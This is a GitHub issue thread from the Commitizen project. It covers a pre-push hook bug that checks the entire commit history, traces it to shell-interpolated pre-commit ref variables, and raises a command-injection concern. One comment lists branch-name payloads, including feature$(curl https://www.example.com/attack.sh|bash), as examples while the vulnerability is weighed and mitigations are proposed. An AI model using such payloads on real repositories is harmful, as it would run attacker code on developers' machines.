You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Commitizen now attempts to enforce its rules the entire history of the project #1818
It looks like PR #1815 introduced a bug where commitizen now attempts to enforce its rules the entire history of the project instead of just between the source and target commits.
This means repositories which have started using commitizen half-way though, or ones in which a faulty commit was added but was ignored due to wanting to avoid rewriting large amounts of history now have commitizen trigger failures when in the past they did not.
After this change, invalid commit messages on main which previously were fine with commitizen are now tripping this check. Are the environment variable you added in the correct order, and is there supposed to be .. between them?
(.venv) ➜ commitizen-pr-1815-bug git:(new_branch) git push --set-upstream origin new_branch
commitizen check branch..................................................Failed
- hook id: commitizen-branch
- exit code: 14
commit validation: failed!
please enter a commit message in the commitizen format.
commit "2bbee8154e795c7d9f77fd9e190d6d7bf5b9f325": "improperly formatted commit that introduced
"pattern: (?s)(build|bump|chore|ci|docs|feat|fix|perf|refactor|revert|style|test)(\(\S+\))?!?: ([^\n\r]+)((\n\n.*)|(\s*))?$
commit "3d9318b341828644f23ff772a6f276be47bf825e": "first commit
"pattern: (?s)(build|bump|chore|ci|docs|feat|fix|perf|refactor|revert|style|test)(\(\S+\))?!?: ([^\n\r]+)((\n\n.*)|(\s*))?$
error: failed to push some refs to 'github.com:KyleMylonakisProtopia/commitizen-pr-1815-bug.git'
Current behavior
The entire history of the repo is being analyzed by commitizen.
Desired behavior
The behavior should be as it was in the past where commits outside of those between source and target are ignored.
Screenshots
No response
Environment
The commitizen is coming in from the pre-commit hook. Pre-commit has specified the commitizen version as 4.12.1. This affects at least Mac and Linux systems.
changed the title [-]Good bug title tells us about precise symptom, not about the root cause.[/-][+]Commitizen now attempts to enforce its rules the entire history of the project[/+]on Jan 26, 2026
I spent way too much time to admit trying to fix this. I thought the the issue was the missing .. in the "$PRE_COMMIT_TO_REF $PRE_COMMIT_FROM_REF". Meaning the fix would be "$PRE_COMMIT_TO_REF..$PRE_COMMIT_FROM_REF".
But that's not even it. If I understand correctly how pre-commit/prek work (I checked both), they run the corresponding hook commands using their respective standard library, and that is, without creating a shell.
Therefore, the environment variable $PRE_COMMIT_TO_REF and $PRE_COMMIT_FROM_REFwould never be interpolated and will just be interpreted as a string.
So, unless I'm very wrong and I need sleep, but if I'm right, I do not know how to address this issue.
@HankyStyle I'll assign this one to you. Let me know if you encounter any issue. I think we should even revert the original PR first and let @HankyStyle tackle with the right solution @bearomorphism WDYT?
@HankyStyle I'll assign this one to you. Let me know if you encounter any issue. I think we should even revert the original PR first and let @HankyStyle tackle with the right solution @bearomorphism WDYT?
yeah, let's revert the original PR in the next release if it introduces a bug
Once the original PR get reverted and want to tackle this issue, I think I thought of a simple and probably good solution. Since the environment variables $PRE_COMMIT_TO_REF and $PRE_COMMIT_FROM_REF exists and are set when running as a pre-commit/prek hooks, why not modify cz check to read and set the rev-range from those variables if and when they exist?
@HankyStyle Ok, yes, this fix does seems to work. Let me explain why I was very very confused.
When I tried last Friday to run arbitrary commands with pre-commit/prek (using repo: local + language: system hooks), both ran command without creating a shell. Meaning the variable would not get interpolated and I would get "$PRE_COMMIT_TO_REF $PRE_COMMIT_FROM_REF" as-is in a string.
But now that this fix seems to work, I dug a little deeper. Turns out that while pre-commit/prek don't create a shell, the git log command1 that is ran by the cz check command2does create a shell3 and the variables get interpolated there.
So I was both right and wrong when I said that the variables were not getting interpolated. The fix should work.
That being said, that now makes me raise some concerns with the risk of running arbitrary commands.
If arbitrary branch name can be passed to any of the git commands that Commitizen runs, someone could craft payload within a malicious branch name, and that payload could get executed on anyone's computer that has Commitizen hooks installed. It happened in the past.
Now, I know very little of Commitizen to know if there is a risk of this actually happening somewhere in the code with the current existing hooks, but since I'm not seeing any input validation or sanitization at a glance, I'm a little worried about it.
Thanks for raising this concern. I didn't consider this security aspect during the fix.
I've tested locally and confirmed that Git does allow command substitution with certain branch names (e.g., feature$(whoami) or feature|ls), though it currently prevents the dangerous attacks (e.g., ;, & are rejected).
However, something like feature$(curl https://www.example.com/attack.sh|bash) might work.
I'm not sure how severe this risk is or whether it's actually possible to exploit in practice, and what approach we could take to prevent it if this is a potential risk:
Add input validation for git refs
Change cmd.run() from shell=True to shell=False in cmd.py to prevent shell interpretation of special characters
Both of the above
I think we need guidance from the maintainers on this topic.
Change cmd.run() from shell=True to shell=False in cmd.py to prevent shell interpretation of special characters
Just a quick comment to mention that while this would be best, it would break the very thing this issue (and #1841 PR) is trying to fix, since it rely on shell=True for it to work.
Activity
[-]Good bug title tells us about precise symptom, not about the root cause.[/-][+]Commitizen now attempts to enforce its rules the entire history of the project[/+]bearomorphism commentedon Jan 27, 2026
Thanks!
pgrenaud commentedon Jan 30, 2026
I spent way too much time to admit trying to fix this. I thought the the issue was the missing
..in the"$PRE_COMMIT_TO_REF $PRE_COMMIT_FROM_REF". Meaning the fix would be"$PRE_COMMIT_TO_REF..$PRE_COMMIT_FROM_REF".But that's not even it. If I understand correctly how pre-commit/prek work (I checked both), they run the corresponding hook commands using their respective standard library, and that is, without creating a shell.
Therefore, the environment variable
$PRE_COMMIT_TO_REFand$PRE_COMMIT_FROM_REFwould never be interpolated and will just be interpreted as a string.So, unless I'm very wrong and I need sleep, but if I'm right, I do not know how to address this issue.
bearomorphism commentedon Jan 31, 2026
@HankyStyle you wanna take this one?
HankyStyle commentedon Jan 31, 2026
Yes, I think it can be solved by modified
.pre-commit-hooks.yaml.Lee-W commentedon Jan 31, 2026
nice, I think this is a more urgent one.
Lee-W commentedon Jan 31, 2026
@HankyStyle I'll assign this one to you. Let me know if you encounter any issue. I think we should even revert the original PR first and let @HankyStyle tackle with the right solution @bearomorphism WDYT?
bearomorphism commentedon Feb 1, 2026
yeah, let's revert the original PR in the next release if it introduces a bug
pgrenaud commentedon Feb 2, 2026
Thank you all for handling this!
Once the original PR get reverted and want to tackle this issue, I think I thought of a simple and probably good solution. Since the environment variables
$PRE_COMMIT_TO_REFand$PRE_COMMIT_FROM_REFexists and are set when running as a pre-commit/prek hooks, why not modifycz checkto read and set the rev-range from those variables if and when they exist?HankyStyle commentedon Feb 2, 2026
hi @pgrenaud
You're absolutely right about the
..being missing, but the order I think should beFROM..TO.I've created a PR with the fix: #1841
You can try the
Steps to Verify This Fixsection in the PR to reproduce the difference betweenFROM..TOandTO..FROM.During a pre-push hook, pre-commit sets:
Git range syntax
FROM..TOmeans: "commits in TO but not in FROM"So
$PRE_COMMIT_FROM_REF..$PRE_COMMIT_TO_REFtranslates to:"Check commits in my feature branch that aren't in main"
Let me know if I understand wrong.
pgrenaud commentedon Feb 2, 2026
@HankyStyle Ok, yes, this fix does seems to work. Let me explain why I was very very confused.
When I tried last Friday to run arbitrary commands with pre-commit/prek (using
repo: local+language: systemhooks), both ran command without creating a shell. Meaning the variable would not get interpolated and I would get"$PRE_COMMIT_TO_REF $PRE_COMMIT_FROM_REF"as-is in a string.But now that this fix seems to work, I dug a little deeper. Turns out that while pre-commit/prek don't create a shell, the
git logcommand1 that is ran by thecz checkcommand2 does create a shell3 and the variables get interpolated there.So I was both right and wrong when I said that the variables were not getting interpolated. The fix should work.
Footnotes
https://github.com/commitizen-tools/commitizen/blob/master/commitizen/git.py#L329 ↩
https://github.com/commitizen-tools/commitizen/blob/master/commitizen/commands/check.py#L130 ↩
https://github.com/commitizen-tools/commitizen/blob/master/commitizen/cmd.py#L43 ↩
pgrenaud commentedon Feb 2, 2026
That being said, that now makes me raise some concerns with the risk of running arbitrary commands.
If arbitrary branch name can be passed to any of the git commands that Commitizen runs, someone could craft payload within a malicious branch name, and that payload could get executed on anyone's computer that has Commitizen hooks installed. It happened in the past.
Now, I know very little of Commitizen to know if there is a risk of this actually happening somewhere in the code with the current existing hooks, but since I'm not seeing any input validation or sanitization at a glance, I'm a little worried about it.
HankyStyle commentedon Feb 3, 2026
Hi @pgrenaud,
Thanks for raising this concern. I didn't consider this security aspect during the fix.
I've tested locally and confirmed that Git does allow command substitution with certain branch names (e.g.,
feature$(whoami)orfeature|ls), though it currently prevents the dangerous attacks (e.g.,;,&are rejected).However, something like
feature$(curl https://www.example.com/attack.sh|bash)might work.I'm not sure how severe this risk is or whether it's actually possible to exploit in practice, and what approach we could take to prevent it if this is a potential risk:
cmd.run()fromshell=Truetoshell=Falseincmd.pyto prevent shell interpretation of special charactersI think we need guidance from the maintainers on this topic.
cc: @noirbizarre @woile
pgrenaud commentedon Feb 3, 2026
Just a quick comment to mention that while this would be best, it would break the very thing this issue (and #1841 PR) is trying to fix, since it rely on
shell=Truefor it to work.